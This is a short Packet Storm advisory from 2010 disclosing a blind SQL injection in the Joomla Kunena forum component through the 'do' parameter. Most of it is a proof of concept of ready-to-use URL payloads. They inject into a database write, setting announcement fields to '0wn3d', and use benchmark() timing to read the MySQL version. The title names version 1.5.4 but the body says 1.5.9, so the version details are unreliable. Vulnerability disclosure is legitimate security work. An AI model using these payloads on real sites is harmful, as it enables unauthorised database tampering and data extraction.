Joomla Kunena 1.5.4 SQL Injection

2010-01-31T00:00:00
ID PACKETSTORM:85773
Type packetstorm
Reporter bhunt3r
Modified 2010-01-31T00:00:00

Description

                                        
                                            `[~]>> ...[BEGIN ADVISORY]...  
  
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  
[~]>> TITLE: Joomla (com_kunena) BLIND SQL Injection Vulnerability  
[~]>> LANGUAGE: PHP  
[~]>> DORK: N/A  
[~]>> RESEARCHER: B-HUNT3|2  
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com  
[~]>> TESTED ON: LocalHost  
  
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  
[~]>> DESCRIPTION: Input var do is vulnerable to SQL Code Injection  
[~]>> AFFECTED VERSIONS: Confirmed in 1.5.9 but probably other versions also  
[~]>> RISK: Medium/High  
[~]>> IMPACT: Execute Arbitrary SQL queries  
  
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  
[~]>> PROOF OF CONCEPT:  
  
[~]>> http://[HOST]/[JOOMLA_PATH]/index.php?option=com_kunena&Itemid=86&func=announcement&do=[SQL]  
  
[~]>> {RETURN TRUE::RETURN FALSE} ---> VIEW TIME RESPONSE ||| HIGH: TRUE ||| LOW: FALSE  
  
[~]>> http://[HOST]/[JOOMLA_PATH]/index.php?option=com_kunena&Itemid=86&func=announcement&do=show', link='0wn3d', task='0wn3d' WHERE userid=62 AND 1=if(substring(@@version,1,1)=5,benchmark(999999,md5(@@version)),1)/*  
[~]>> http://[HOST]/[JOOMLA_PATH]/index.php?option=com_kunena&Itemid=86&func=announcement&do=show', link='0wn3d', task='0wn3d' WHERE userid=62 AND 1=if(substring(@@version,1,1)=4,benchmark(999999,md5(@@version)),1)/*  
  
[~]>> Note: There are more affected vars.  
  
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  
[~]>> ...[END ADVISORY]...  
  
`